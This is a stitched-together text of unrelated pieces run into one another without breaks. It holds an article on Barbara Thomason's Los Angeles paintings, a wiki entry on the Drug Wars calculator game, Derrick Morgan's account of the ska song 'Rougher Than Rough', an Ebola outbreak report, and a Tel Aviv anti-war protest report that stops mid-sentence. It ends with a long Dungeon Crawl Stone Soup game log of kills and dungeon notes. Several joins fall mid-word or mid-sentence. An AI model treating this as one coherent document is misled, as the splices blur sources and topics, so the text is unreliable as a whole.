In 2 Freeway South Toward LA, a spectacular red-tailed hawk soars over the freeway, dwarfing the Downtown skyline in the distance. Thomason has meticulously outlined each feather of the hawk, yet depicts the City as a ghostly silhouette with no details. The freeway itself is empty of cars, a rare and somewhat eerie sight. In Californian Coyotes, a group of brazen coyotes lurk like a gang of teenage boys on the grass along Riverside Drive in Los Feliz, where the two large signs from the former Californian Hotel near McArthur Park sit waiting to be re-installed some day.
Californian Coyotes by Barbara A. Thomason, cel vinyl on illustration board (2008)
In almost all the scenes, there are no people and no cars. In many of Thomason's images, only wild creatures inhabit the urban landscape, suggesting they are the only residents of the city. However, Thomason's intention is not to depict an abandoned city. She explains, "I chose not to paint people or cars because they can date a scene, like in the paintings of Edward Hopper." The result is a series of views suggesting movie sets waiting for a director to cue the actors to step in and animate them. In his idealized prints of Tokyo, Hiroshige sought to portray the character of his city. Thomason's series too, captures the beautiful, quirky, sometimes other-worldly character of this unique city.
One Hundred Not-So-Famous Views of Los Angeles - actually 107 paintings - can be seen on Barbara Thomason's website and will be on view at the Bridge Gallery at City Hall in Downtown Los Angeles from November 7th through December 2nd.
2 Freeway South Toward LA by Barbara A. Thomason, cel vinyl on illustration board (2008)
Dig this story? Sign up for our newsletter to get unique arts & culture stories and videos from across Southern California in your inbox. Also, follow Artbound on Facebook and Twitter.Drugwars
Filename Drugwars Summary Buy and sell drugs to pay off your debt and make money Original Author Jonathan Maier Original Release Date December 1994 Compatibility TI-82, TI-83(+), TI-85, TI-86, TI-89 Language TI-Basic, Assembly
Drug Wars (or Drugwars) is one of the definitive TI calculator games that everybody was playing back in the heyday of calculator games from 1998 to 2004. The first version of the game was programmed in TI-Basic by Jonathan Maier for the TI-82 and released in December 1994.
The game is based off of the John E. Dell game with the same name released in 1984. The basic premise is that you are a drug dealer who owes $5,000 to a loan shark. With $2,000 in cash, you have thirty days to pay back the loan shark and to make as much money as possible. There are different kinds of drugs that you can buy and sell, as well as different cities where you can go to sell them. The prices of the drugs change, however, based on rival drug dealers, the city, and the police.
Program Significance
The popularity of Drug Wars on the TI-82 caused other people to not only port the game to the rest of the TI graphing calculators, but also to make their own variations. Some of the more popular variations included dope wars, hobo wars, pimp quest, nerd wars, and beer hunt. In addition, there was a graphical version of the game released for the TI-83, as well as an assembly version made for the TI-86 by Jonah Cohen.
You won't find the game on any of the major TI sites, however, as Drug Wars was removed from ticalc.org in 2001 after the CD disaster. Ticalc.org and Texas Instruments (TI) had reached an agreement to include a portion of the ticalc.org archives on a CD, which was then bundled with a TI graphing calculator in a kit for students. There were no real restrictions on program content at that time, and a parent discovered some questionable content on the CD (in particular, pornographic ASCII images). Although ticalc.org removed the inappropriate content from the site, TI and ticalc.org ceased working together; TI still doesn't link to ticalc.org to this day.Derrick Morgan will be coming back to Chicago for Reggae Fest on August 13th along with Toots & The Maytals, Lee “Scratch” Perry, Hepcat, and others, and it got me thinking about the story that Derrick Morgan told me back in 1996 when he had a run in with a rude boy that resulted in the recording of one of his most classic songs, Rougher Than Rough. I found some information on this rude boy, named Busby, and so here is Derrick’s account of that episode, along with research on this nefarious character.
Here is the excerpt from my book, Ska: An Oral History: “I originally came out with a song called ‘Cry Tough’ and this rude guy who call himself Busby, he heard of it and he come to me one day. He used to come around often when we living in Greenwich Farm. They come to me and said, ‘Well I want you to make a song after me. You make sure to make a song off of me and I want it Friday.’ We were afraid of him. So I said, ‘What kind of song you want me to make of you,’ and he said, ‘You sing of me,’ and I said, ‘Okay, well I will make you one,’ and I go ahead and I write a song called ‘Rougher Than Rough’ and I go to Leslie Kong with it and I said ‘Leslie, this bad man threaten me to bring a song to him and I will write a song of him and to come back Friday,’ but Leslie Kong said, “Well we can’t release a song by Friday.’ He said, ‘Do you have the song ready?” I say yes and I used to play piano around there and I go around playing this song, ‘Tougher Than Tough’ that I wrote in Beverly’s one day and I said, ‘Ready. We will go to the studio Friday.’ And we cut the acetate on Friday and I took it to the guy and I said, ‘This is your song,’ and we’re having a dance right there in Greenwich Farm that night on West Avenue, and he was going to play it that night to hear its sound. So that night he took the song from me and he gave it to the disc jockey and said he don’t want to hear it play until twelve in the night. And at twelve o’clock in the night this rude boy went to the man and said, ‘Well okay, I would like you to play my song now.’ And when it reached the part that said, ‘Rougher than rough, tougher than tough, strong like lion, we are iron,’ he said, ‘Stop it there! Sell me a box of beer,’ and I give him a box of beer, and to play back the song. And then we go with him and the beer to the back and he crash it against the wall and said, ‘Iron!’ and get rough,” remembers Morgan.
The song featured the legendary vocalist Desmond Dekker on harmonies and Morgan spoke at the beginning of the song’s instrumentals, declaring:
You’re brought here for gun shooting
Ratchet using, and bomb throwings.
Now tell me rude boys, what have you say for yourselves?
The response came:
Your honor, rudies don’t fear.
The incident made Morgan’s song a hit and when it would play on jukeboxes around Jamaica, drinkers smashed their beers on the wall upon hearing the words, ‘Strong like lion, we are iron.’ The song was therefore banned from radio play.
And the song sparked one final act of violence, upon that rude boy Busby himself. “This guy that was getting out of hand now that song been made and him get worse, say rudies don’t fear. Every jukebox in Jamaica was playing it then. And this guy that I wrote the song for, he listen to this song that night and go on with his antics. That was a Friday night and he died on the Saturday night. They shoot him on Saturday night. He was bad. That song really really takes him to the graveyard,” says Morgan. Busby was shot in the head by a rival gang member while at a party.
Historian Clinton Hutton tells of Busby, spelled Buzzbee in his account, in his crucial article “Oh Rudie: Jamaican Popular Music and the Narrative of Urban Badness,” published in the Caribbean Quarterly, December 2010.
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Like this: Like Loading...The recent Ebola outbreak in West Africa has claimed the lives of over 11,000 people to date, mainly in Liberia, Guinea, and Sierra Leone, as reported by BBC News. Today, it is a pleasure to report that these three countries at the very heart of the deadly epidemic have recorded their first week with no new cases since the outbreak began in March of last year.
While the number of new cases has fallen sharply since the start of 2015, the outbreak remains the worst epidemic of Ebola in human history: It has killed five times more people than all the other known Ebola outbreaks put together. A combination of ease of transmission, cultural practices such as the handling of the recently deceased by family members, ineffective medical infrastructure and difficulty in diagnosis has allowed the initial infection in a small Guinean village to kill thousands of people in at least six different countries.
The World Health Organization (WHO) has advised that we should remain cautious and vigilant: It only takes one undetected and untreated case for a new epidemic to spread. Looking at a report from the WHO (dated May 9th, 2015), it had already declared Liberia Ebola-free: 42 days had passed since the final confirmed case of the virus was buried on March 28th. The incubation time of the virus – the time between infection and the emergence of symptoms – is known to be 21 days, so a time period double that was chosen to absolutely confirm that the virus had been eradicated.
Two months later, as reported by USA Today, six cases of the viral infection resurfaced, including within the capital of Monrovia. Within hours, over 140 people had been exposed to the virus, and 16 were rapidly placed under quarantine. Although this flare up of infections was eventually curtailed, culminating in today’s announcement, it is clear that vigilance is still required for some time.
As the WHO report mentions, the hard work of thousands of medical professionals and volunteers, along with an international collaborative effort, is the reason that this announcement can be made today.
This devastating viral disease was traced back to a two-year-old boy playing near a tree that was home to insect-eating bats in his Guinean village of Meliandou. These common insectivorous bats also live peacefully in the roofs of nearby houses, which suggests that the reservoir for the Ebola virus could be hanging above the heads of these villagers as they sleep at night.
This, of course, raises a mystifying question: If the reservoir is so abundant, and so close to human populations, why haven’t there been far more outbreaks of the virus? Clearly, there is more to find out.Some 1,000 protesters marched in Tel Aviv on Saturday night in a show of opposition to the possibility of an Israeli strike in Iran.
Over 2,300 citizens confirmed their attendance on Facebook, but the actual turnout failed to meet the organizers' expectations. The march, titled "Israelis against a war with Iran," began at Habima Square and concluded at Meir Park.
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"Together, we will inform Netanyahu and the world that there is no mandate to drive us into war with Iran," a spokesperson for the protest movement said prior to the event.
'Bibi and Barak, war is not a game.' (Photo: Motti Kimchi)
Some protesters wielded posters bearing the slogan "When the government is against the people, the people are against the government," and called on the country's leaders to resign. The demonstrators chanted slogans the likes of "In Tehran and in Krayot, children want to live," and "The rioting Right is dangerous for Israel."
One protester, Sherry Shein, told Ynet: "We treat the Iranians like they're mad, but we're no less mad... Anyone who thinks that it's possible to strike a nuclear plant without repercussions is naïve, and an idiot. We should make efforts to reach peace."
Another demonstrator, Tamar Fleischman, added that she has no interest in paying the price for what she called a "strictly political strike."
Not all attendees were of the same opinion. One man, carrying a sign emblazoned with the Talmud saying "If someone comes to kill you, rise up and kill him first," called the protesters "cowards."
"The State of Israel doesn't want war," he said, "But when someone points his weapon at me, he should be disarmed."
Protesters demand diplomatic solution (Photo: Motti Kimchi)
Officials and pundits have been increasingly speculating in recent months that Israel is |
from hitting Qiyrhi. Qiyrhi hits you. You pound Qiyrhi like an anvil!!! Qiyrhi convulses! Qiyrhi is heavily wounded. Qiyrhi completely misses you. You hammer Qiyrhi like a gong!!! Qiyrhi convulses! You kill Qiyrhi! The Shining One accepts your kill. Zapping: o - a wand of disintegration Press:? - help, Shift-Dir - straight line You hear a grinding noise. Your giant club of Untruth says, "I'm bored." There is a staircase leading out of the dungeon here. You have escaped! ######## #..#.......# #..#.......# #..# ######.# #..##### #.#######......# #..............# ### #.##...##'##...#..# #.##...#...#...#..####.##.###.7..##.#..........#.......#.#........#.#.7.@.7.#.#...###....#.......#.#..........###.7.###.#.......#....#...#...#............##'##...# ##.#####............# #.# #.###.##.##..# ##.# #.##...#[..#.######...# #.................# #### ###...(####.#####.# #.....####.# #.# There were no monsters in sight! Vanquished Creatures 5 orbs of fire (Zot:5) 6 ancient liches A pandemonium lord (D:1) Saint Roka (Vaults:3) Boris (Crypt:5) Norris (D:18) 3 Killer Klowns Mara (Shoals:3) Geryon (Hell) 2 curse toes 12 bone dragons 2 profane servitors (Crypt:5) Jory (D:24) 9 golden dragons Frederick (D:27) 5 electric golems 2 Brimstone Fiends 3 liches 27 Orb Guardians 11 tentacled monstrosities An Ice Fiend (D:26) The ghost of Dr. Bruce the Impregnable, a mighty GrFi of Okawaru (Shoals:5) A Shadow Fiend (Elf:3) 5 titans 2 deep elf master archers (Elf:3) 2 deep elf blademasters (Elf:3) A quicksilver dragon (Vaults:5) 26 storm dragons A kraken (Shoals:4) 9 sphinxes 12 tengu reavers 5 ancient champions Rupert (D:14) Agnes (Shoals:4) Frances (D:19) Kirke (Vaults:3) 7 shadow dragons Roxanne (D:14) A revenant (Crypt:5) A draconian monk (Zot:4) Ilsuiw (Shoals:5) 3 draconian knights 10 ghouls Wiglaf (Shoals:4) 3 ghost moths 3 draconian scorchers 9 deep elf sorcerers 9 frost giants Aizul (D:19) Louise (Snake:2) 9 fire giants 2 curse skulls (Crypt:5) A cacodemon (D:27) 7 vault wardens A draconian zealot (Zot:4) A balrug (D:21) 5 orc warlords 3 draconian shifters 3 draconian annihilators 4 reapers 13 eidola 3 greater nagas 6 vampire knights 33 stone giants Gastronok (Lair:1) A draconian caller (Zot:5) 3 grey draconians 2 blizzard demons 4 green draconians 5 deep elf demonologists 5 deep elf annihilators (Elf:3) 5 yellow draconians Azrael (D:17) 2 white draconians 3 purple draconians A green death (D:27) 7 mottled draconians 6 black draconians 5 red draconians 5 merfolk javelineers (Shoals:5) An unborn (Crypt:5) Snorg (D:19) 6 jiangshi 17 deep elf death magi 8 merfolk impalers A mummy priest (Crypt:5) 17 dragons 31 vault guards 9 ironheart preservers 8 ettins 39 yaktaur captains 3 sirens 4 deep elf high priests 2 ice dragons (shapeshifter) 9 merfolk aquamancers 2 quicksilver dragon skeletons Fannar (Lair:4) 5 death cobs Harold (Lair:5) A hydra (shapeshifter) (Vaults:5) 5 great orbs of eyes 2 ravenous feature mimics 9 ice dragons Nessos (D:12) A ravenous item mimic (Vaults:5) 11 hydras A spectral shadow dragon (D:25) 20 dancing weapons Erica (Orc:3) 15 ogre magi An alligator snapping turtle (Shoals:5) The ghost of Timid the Fencer, a powerful HEFi of Okawaru (Lair:3) 4 anacondas 5 deep troll shamans 10 plague shamblers 12 death yaks 2 orc high priests 6 vampire magi 18 deep troll earth magi 3 hell hogs 5 deep dwarf death knights 15 naga warriors 11 spectral elves A titan zombie (D:26) Urug (D:13) 5 sun demons A large abomination (Elf:3) 2 iron golems (D:21) 9 soul eaters 9 very ugly things 3 catoblepae 3 storm dragon zombies 28 centaur warriors 7 deep elf knights 5 shadow wraiths 8 unseen horrors A storm dragon skeleton (Vaults:5) 5 iron trolls 57 skeletal warriors 2 death drakes (Zot:5) 2 sea snakes (shapeshifter) (D:26) 14 sea snakes 3 fire crabs 36 deep trolls 12 ice devils 16 flayed ghosts 2 deathcaps (Zot:5) An anaconda zombie (Crypt:3) 10 giant amoebae 20 hill giants A shadow demon (D:27) 21 orc knights 14 harpies 11 deep elf conjurers Pikel (D:6) A harpy (shapeshifter) (Vaults:4) A golden dragon skeleton (D:26) 3 wizards 14 ironbrand convokers 3 hellions (D:21) An anaconda skeleton (Crypt:5) Joseph (D:8) 9 orc sorcerers 6 red wasps A griffon (shapeshifter) (Vaults:4) 2 shining eyes (shapeshifter) (Vaults:5) 8 wolf spiders A flaming corpse (Crypt:5) 7 necromancers 16 cyclopes A frost giant zombie (D:20) 2 moths of wrath (shapeshifter) A statue (D:27) A fire giant zombie (Vaults:2) 25 phantasmal warriors A very ugly thing skeleton (Crypt:3) 3 wolf spider zombies 9 sixfirhies An elephant (shapeshifter) (D:25) 9 griffons 16 hell beasts 4 frost giant skeletons A spectral human (Vaults:4) A cyclops (shapeshifter) (D:17) 7 stone giant zombies 4 spiny worms A black mamba (shapeshifter) (D:16) A guardian serpent (shapeshifter) (D:15) 5 orc zombies (Orc:4) 20 moths of wrath 9 vault sentinels Maurice (D:12) 4 elephants (Lair:6) 22 stone giant skeletons 2 dire elephant zombies An eye of devastation (shapeshifter) (Vaults:5) 8 fire giant skeletons An orange demon (D:27) 5 deep elf summoners Psyche (D:12) 40 black mambas A mottled draconian zombie (Crypt:2) 2 spiny frogs (shapeshifter) (Elf:2) 10 demonic crawlers A red draconian zombie (Crypt:1) An efreet (D:15) 2 redback zombies (Crypt:5) An item mimic (Lair:6) A purple draconian zombie (Crypt:3) 4 iron troll zombies 22 naga magi 11 mermaids 3 guardian mummies (Crypt:5) 21 deep elf priests 3 feature mimics A fire drake (shapeshifter) (D:23) 5 smoke demons A green draconian skeleton (Crypt:3) 8 spiny frogs 53 yaktaurs A mermaid (shapeshifter) (Vaults:4) 2 wandering mushrooms (Zot:5) 6 fire drakes A yaktaur (shapeshifter) (D:22) A minotaur zombie (Crypt:2) 2 shadow dragon simulacra (D:26) 4 iron devils 11 red devils A harpy zombie (Crypt:5) 16 trolls 2 iron troll skeletons 3 jumping spiders A troll (shapeshifter) (D:24) 12 blue devils A catoblepas zombie (Crypt:4) Prince Ribbit (D:9) 5 blink frogs 12 snapping turtles 16 komodo dragons A trapdoor spider zombie (Crypt:4) 48 slime creatures 4 ettin zombies A hydra skeleton (D:17) A jumping spider zombie (Crypt:1) A harpy skeleton (Crypt:5) A stone giant simulacrum (D:26) A siren skeleton (Crypt:4) 10 boulder beetles 2 flying skulls An ice dragon zombie (D:18) A spectral wind drake (Crypt:5) 2 ice dragon skeletons 3 tarantellas 6 basilisks A tarantella (shapeshifter) (D:21) 119 ugly things 2 fire giant simulacra A grizzly bear (shapeshifter) (D:22) 3 wyverns 5 chaos spawn 10 redbacks 5 trapdoor spiders 12 fire elementals 2 griffon skeletons 2 sharks 53 yaks An elephant slug (Lair:6) An alligator skeleton (Crypt:1) 24 two-headed ogres 3 ettin skeletons 26 water elementals 8 metal gargoyles 5 shadows 13 deep elf magi 2 wind drake zombies (Crypt:5) A spiny worm zombie (D:17) 18 wraiths 66 merfolk A wolf (shapeshifter) (D:27) 2 hill giant skeletons A clay golem (D:19) 4 hogs (Vaults:3) 7 vampires A harpy simulacrum (Vaults:1) 3 mottled dragons 4 rock worms A neqoxec (Elf:3) A raven zombie (Crypt:1) 17 hippogriffs 37 vampire mosquitoes 4 wolves (D:25) 4 soldier ants Edmund (D:6) 17 hungry ghosts 16 manticores Menkaure (D:7) 8 necrophages (Crypt:5) 2 deep troll zombies (Crypt:5) 31 deep elf fighters 7 raven skeletons (Crypt:5) 8 hell hounds 3 deep troll skeletons A spectral yak (Crypt:5) 9 porcupines A faun skeleton (Crypt:1) 18 freezing wraiths A spiny frog zombie (Crypt:1) 3 deep dwarves (D:25) A giant goldfish (D:11) A merfolk zombie (Crypt:3) 38 ogres 2 phantoms 6 ice beasts 2 slaves (D:5) 65 orc warriors 66 nagas A swamp dragon zombie (Crypt:1) A lindwurm skeleton (Crypt:1) 2 rotting devils (Elf:3) 2 boring beetles Sigmund (D:2) 39 centaurs A draconian (D:25) 11 wargs A giant slug (shapeshifter) (Vaults:5) A big kobold (shapeshifter) (Vaults:5) A draconian (shapeshifter) (Vaults:2) 4 big kobolds 2 yaktaur zombies (Crypt:5) 13 crocodiles A mermaid zombie (Crypt:2) 47 water moccasins 2 cyclops zombies A giant slug zombie (Crypt:5) A manticore zombie (D:9) 3 black bears 15 giant frogs 2 yaktaur skeletons A wyvern zombie (Crypt:4) 15 giant slugs A manticore skeleton (Crypt:4) 6 sky beasts An electric eel (Snake:1) 2 jellyfish (D:11) A troll zombie (D:11) 14 killer bees 2 spectral wolves (D:25) 12 wights A fire crab simulacrum (Crypt:3) A wolf zombie (Crypt:5) A yak skeleton (D:12) A lava snake (Zot:3) A yellow wasp zombie (D:8) 14 crimson imps 3 quasits A basilisk zombie (D:14) 17 jellies 2 big fish (D:11) 18 hounds A jelly (shapeshifter) (D:16) A centaur zombie (D:12) An iron imp (Elf:1) 4 goliath beetles 3 scorpions 8 iguanas A water moccasin skeleton (Crypt:3) 34 orc priests A basilisk skeleton (D:13) A boulder beetle simulacrum (Crypt:5) 13 worker ants 42 orc wizards 4 agate snails 26 orange rats A killer bee zombie (D:11) A mottled dragon zombie (D:16) 25 sheep Jessica (D:3) A crocodile zombie (D:10) A crocodile skeleton (Crypt:3) A hound zombie (D:11) A basilisk simulacrum (D:14) 4 boggarts (D:17) A mottled dragon skeleton (D:14) 2 mummies A worker ant zombie (D:5) 4 orange rat zombies (Hell) 55 green rats 56 adders A lemure (Elf:3) 2 orange rat skeletons (Hell) A shadow imp (D:11) 7 giant centipedes 2 white imps 4 giant mites 4 worms 2 ufetubi (Elf:1) A giant centipede zombie (D:14) A halfling zombie (Crypt:4) 2 iguana skeletons A giant eyeball (D:10) 4 giant geckos 5 oozes (D:14) 228 orcs 29 bats A bat skeleton (D:4) A bat zombie (D:5) 2 green rat skeletons (Crypt:4) 2 green rat zombies (D:11) 19 grey rats (D:11) 18 hobgoblins 32 jackals 10 quokkas 5 ball pythons 5 giant cockroaches 4 giant newts A giant newt skeleton (Crypt:1) 27 goblins 2 grey rat zombies (D:11) 38 kobolds A kobold zombie (Crypt:4) A quokka skeleton (D:4) 34 rats A rat skeleton (D:3) 4 rat zombies (D:11) 8 crawling corpses 3 plants 4 tentacles (Shoals:4) 3469 creatures vanquished. Vanquished Creatures (collateral kills) An Orb Guardian (Zot:5) A grey draconian (Zot:5) 2 creatures vanquished. Vanquished Creatures (others) A tengu reaver (Vaults:4) A pale draconian (Zot:4) A spectral elf (Elf:3) 4 elves (D:25) 2 moths of wrath (Zot:2) A human (Vaults:3) A hippogriff (Shoals:5) A merfolk (Shoals:2) 16 lost souls A crimson imp (D:6) An orange rat (Hell) 2 orc priests (D:6) An orange rat zombie (Hell) 2 orange rat skeletons (Hell) An adder (D:6) A giant gecko (D:6) 3 orcs 2 hobgoblins (D:6) A quokka (D:6) A rat (D:6) 92 eldritch tentacle segments (Zot:5) 8 fungi 12 plants 2 tentacles (Shoals:4) 158 tentacle segments (Shoals:4) 316 creatures vanquished. Grand Total: 3787 creatures vanquished Notes Turn | Place | Note -------------------------------------------------------------- 0 | D:1 | Son of Bully, the Ogre Hunter, began the quest for the Orb. 0 | D:1 | Reached XP level 1. HP: 20/20 MP: 0/0 315 | D:1 | Reached XP level 2. HP: 19/28 MP: 1/1 820 | D:1 | Reached XP level 3. HP: 26/35 MP: 2/2 1945 | D:2 | Found a basalt altar of Yredelemnul. 1983 | D:2 | Found a burning altar of Makhleb. 2162 | D:3 | Reached XP level 4. HP: 32/44 MP: 3/3 2166 | D:3 | Reached skill level 5 in Maces & Flails 2509 | D:3 | Noticed Son of Bully's ghost (experienced OgHu) 2834 | D:3 | Reached skill level 6 in Maces & Flails 3107 | D:3 | Noticed Sigmund 3115 | D:2 | Killed Sigmund 3115 | D:2 | Reached skill level 7 in Maces & Flails 3115 | D:2 | Reached XP level 5. HP: 18/50 MP: 4/4 3478 | D:3 | Noticed Jessica 3522 | D:3 | Killed Jessica 3804 | D:3 | Found a glowing silver altar of Zin. 3804 | D:3 | Noticed an angel 3966 | D:4 | Reached XP level 6. HP: 56/58 MP: 5/5 4073 | D:4 | Found Nofrear's Book Emporium. 4201 | D:4 | Reached skill level 8 in Maces & Flails 5618 | D:4 | Reached skill level 9 in Maces & Flails 5861 | D:5 | Entered Level 5 of the Dungeon 5886 | D:5 | Reached XP level 7. HP: 51/66 MP: 6/6 6209 | D:5 | Reached skill level 10 in Maces & Flails 6809 | D:5 | Found Opuowkih's Magical Wand Emporium. 6827 | D:5 | Identified a +0 rod of warding (14/14) (You found it on level 5 of the Dungeon) 6930 | D:6 | Noticed Pikel 7389 | D:6 | Killed Pikel 7389 | D:6 | Reached skill level 5 in Fighting 7389 | D:6 | Reached skill level 11 in Maces & Flails 7389 | D:6 | Reached XP level 8. HP: 64/78 MP: 7/7 7437 | D:6 | Reached skill level 12 in Maces & Flails 7697 | D:6 | Found a staircase to the Ecumenical Temple. 7698 | D:6 | Noticed Edmund 7715 | D:6 | Killed Edmund 8032 | D:6 | Reached XP level 9. HP: 63/87 MP: 8/8 8206 | Temple | Entered the Ecumenical Temple 8247 | Temple | Became a worshipper of Warmaster Okawaru 8295 | D:6 | Reached skill level 13 in Maces & Flails 8715 | D:7 | Found a radiant altar of Vehumet. 8732 | D:7 | Noticed Menkaure 8738 | D:7 | Killed Menkaure 9710 | D:7 | Acquired Okawaru's first power 9820 | D:7 | Reached skill level 14 in Maces & Flails 9937 | D:8 | Noticed Joseph 9940 | D:8 | Killed Joseph 10095 | D:8 | Found a burning altar of Makhleb. 10264 | D:8 | Reached XP level 10. HP: 97/100 MP: 9/9 10271 | D:8 | Reached skill level 15 in Maces & Flails 10314 | D:8 | Found a staircase to the Lair. 10873 | D:8 | Found a snail-covered altar of Cheibriados. 10972 | Lair:1 | Entered Level 1 of the Lair of Beasts 10972 | Lair:1 | Noticed a five-headed hydra 10976 | Lair:1 | Killed a five-headed hydra 10976 | Lair:1 | Reached skill level 10 in Fighting 11080 | Lair:1 | Reached skill level 16 in Maces & Flails 11352 | Lair:1 | Noticed a black mamba 11367 | Lair:1 | HP: 4/101 [black mamba (16)] 11585 | Lair:1 | Noticed a black mamba 11590 | Lair:1 | Killed a black mamba 11836 | Lair:1 | Killed a black mamba 12019 | Lair:1 | Noticed Gastronok 12032 | Lair:1 | Killed Gastronok 12032 | Lair:1 | Reached skill level 17 in Maces & Flails 12032 | Lair:1 | Reached XP level 11. HP: 93/111 MP: 7/10 12046 | Lair:1 | Noticed an oklob plant 13669 | Lair:3 | Reached skill level 18 in Maces & Flails 13695 | Lair:3 | Noticed a seven-headed hydra 14005 | Lair:3 | Found a staircase to the Shoals. 14040 | Lair:3 | Noticed Timid's ghost (powerful HEFi) 14080 | Lair:3 | Killed Timid's ghost 14251 | Lair:3 | Killed a seven-headed hydra 14251 | Lair:3 | Acquired Okawaru's second power 14554 | Lair:3 | Noticed a four-headed hydra 15125 | Lair:3 | Killed a four-headed hydra 15125 | Lair:3 | Reached skill level 19 in Maces & Flails 15337 | Lair:4 | Noticed Fannar 15348 | Lair:4 | Killed Fannar 15348 | Lair:4 | Reached XP level 12. HP: 115/123 MP: 8/11 15403 | Lair:4 | Received a gift from Okawaru 15806 | Lair:4 | Noticed an eight-headed hydra 16064 | Lair:4 | Found a staircase to the Snake Pit. 16245 | Lair:2 | Learned a level 3 spell: Flight 16509 | Lair:4 | Killed an eight-headed hydra 16825 | Lair:5 | Learned a level 2 spell: Repel Missiles 16827 | Lair:5 | Noticed Harold 16841 | Lair:5 | Killed Harold 16893 | Lair:5 | Reached skill level 20 in Maces & Flails 17019 | Lair:5 | Reached skill level 5 in Dodging 17058 | Lair:5 | Found a staircase to the Snake Pit. 17089 | Lair:5 | the staircase to the Snake Pit was a mimic. 18736 | Lair:7 | Reached skill level 21 in Maces & Flails 18759 | Lair:7 | Reached XP level 13. HP: 105/131 MP: 12/12 19248 | Lair:7 | Noticed a death yak 19250 | Lair:7 | Noticed a death yak 19254 | Lair:7 | Noticed a death yak 19701 | Lair:7 | Got a dazzling morningstar 19702 | Lair:7 | Identified the morningstar of Drought {venom, +Fly rElec} (You found it on level 7 of the Lair of Beasts) 19785 | Lair:7 | Noticed a death yak 19788 | Lair:7 | Noticed a death yak 19818 | Lair:5 | Killed a death yak 20048 | Lair:7 | Killed a death yak 20056 | Lair:7 | Killed a death yak 20061 | Lair:7 | Killed a death yak 20061 | Lair:7 | Received a gift from Okawaru 20206 | Lair:8 | Entered Level 8 of the Lair of Beasts 20444 | Lair:8 | Reached skill level 22 in Maces & Flails 20867 | Lair:6 | Killed a death yak 21451 | Lair:8 | Found a staircase to the Slime Pits. 21873 | Lair:8 | Received a gift from Okawaru 22068 | Lair:8 | Reached XP level 14. HP: 135/141 MP: 10/13 22075 | Lair:8 | Reached skill level 10 in Dodging 22321 | D:9 | Found Qiserr Guumm's Assorted Antiques. 22362 | D:9 | Bought a crude cloak for 168 gold pieces 22366 | D:9 | Identified the cursed -5 cloak "Pnumu" {rPois Acc+5} (You bought it in a shop on level 9 of the Dungeon) 22487 | D:9 | Bought a cyan potion for 25 gold pieces 22487 | D:9 | Bought a scroll of identify for 56 gold pieces 22487 | D:9 | Bought a metallic brown potion for 25 gold pieces 22487 | D:9 | Bought an ivory wand for 560 gold pieces 22551 | D:9 | Noticed Prince Ribbit 22572 | D:9 | Killed Prince Ribbit 22855 | D:9 | Found a shattered altar of Ashenzari. 22857 | D:9 | Found a bloodstained altar of Trog. 23013 | D:10 | Entered Level 10 of the Dungeon 23981 | D:11 | Found a staircase to the Orcish Mines. 24180 | D:11 | Learned a level 2 spell: Blink 24206 | D:11 | Received a gift from Okawaru 24207 | D:11 | Got a dazzling steam dragon armour {god gift} 24257 | D:11 | Identified the +1 steam dragon armour of the Vestibule of Hell {rC+ Stlth+} (Okawaru gifted it to you on level 11 of the Dungeon) 25414 | D:12 | Noticed Maurice 25414 | D:12 | Noticed Nessos 25644 | D:12 | Killed Maurice 25672 | D:12 | Noticed Psyche 25683 | D:12 | Killed Psyche 25977 | D:12 | Killed Nessos 26450 | D:13 | Noticed Urug 26472 | D:13 | Killed Urug 27575 | D:14 | Entered Level 14 of the Dungeon 27645 | D:14 | Noticed Rupert 27652 | D:14 | Paralysed by Rupert for 6 turns 27664 | D:14 | Killed Rupert 27664 | D:14 | Reached XP level 15. HP: 149/149 MP: 14/14 27784 | Orc:1 | Entered Level 1 of the Orcish Mines 28313 | Orc:3 | Found a staircase to the Elven Halls. 28404 | Orc:3 | Noticed Donald 28675 | Orc:2 | Found a deep blue altar of Sif Muna. 29368 | Orc:3 | Noticed Erica 29468 | Orc:3 | Killed Erica 29778 | Orc:4 | Entered Level 4 of the Orcish Mines 29783 | Orc:4 | Found a roughly hewn altar of Beogh. 29910 | Orc:4 | Received a gift from Okawaru 29911 | Orc:4 | Found a flagged portal. 29923 | Bailey | Entered a bailey 30162 | Bailey | Got a transparent large shield 30168 | Bailey | Got a slimy steam dragon armour 30181 | Bailey | Identified the +4 steam dragon armour "Prase" {Dex+3 Int+5} (You found it in a bailey) 30696 | Orc:4 | Found a glowing silver altar of Zin. 31029 | Orc:4 | Found a roughly hewn altar of Beogh. 31059 | Orc:4 | Found a roughly hewn altar of Beogh. 31096 | Orc:4 | Found a roughly hewn altar of Beogh. 31120 | Orc:4 | Found Kolumn's Food Boutique. 31273 | Orc:4 | Found a roughly hewn altar of Beogh. 31274 | Orc:4 | Found Xuaschoph's General Store. 31305 | Orc:4 | Bought a potion of cure mutation for 490 gold pieces 31308 | Orc:4 | Paralysed by a potion of paralysis for 2 turns 31901 | Orc:4 | Reached skill level 15 in Dodging 31920 | Orc:4 | Found Naloysh's Antique Armour Shop. 31920 | Orc:4 | Found a roughly hewn altar of Beogh. 31925 | Orc:4 | Found Jolaxus' Antique Weapon Boutique. 32564 | D:14 | Reached skill level 1 in Armour 32672 | D:14 | Received a gift from Okawaru 32779 | D:14 | Noticed Roxanne 32807 | D:14 | Found Crun's Antique Weapon Shoppe. 33557 | D:15 | Entered Level 15 of the Dungeon 33583 | D:15 | Reached skill level 5 in Armour 33617 | D:15 | Found a blossoming altar of Fedhas. 33810 | D:15 | Received a gift from Okawaru 34248 | D:15 | Reached XP level 16. HP: 117/159 MP: 15/15 36758 | D:16 | Received a gift from Okawaru 38454 | D:17 | Noticed Azrael 38469 | D:16 | Reached skill level 10 in Armour 38685 | D:17 | Paralysed by a great orb of eyes for 4 turns 38690 | D:17 | Killed Azrael 40033 | D:18 | Noticed Norris 40039 | D:18 | Paralysed by Norris for 6 turns 40070 | D:18 | Paralysed by Norris for 5 turns 40087 | D:18 | Killed Norris 40213 | D:18 | Found a staircase to the Vaults. 40231 | D:18 | Reached XP level 17. HP: 157/167 MP: 16/16 40311 | D:18 | Received a gift from Okawaru 41100 | Lair:2 | Identified the +0 large shield of the Cooper {+Blink} (You found it in a bailey) 41184 | Shoals:1 | Entered Level 1 of the Shoals 44169 | Shoals:3 | Learned a level 3 spell: Regeneration 44172 | Shoals:3 | Learned a level 2 spell: Song of Slaying 44270 | Shoals:4 | Noticed Mara 44759 | Elf:1 | Entered Level 1 of the Elven Halls 45315 | Elf:1 | Found a portal to a secret trove of treasure. 45572 | Elf:1 | Noticed a Brimstone Fiend 45898 | Snake:1 | Entered Level 1 of the Snake Pit 46234 | Snake:1 | Identified the Reference 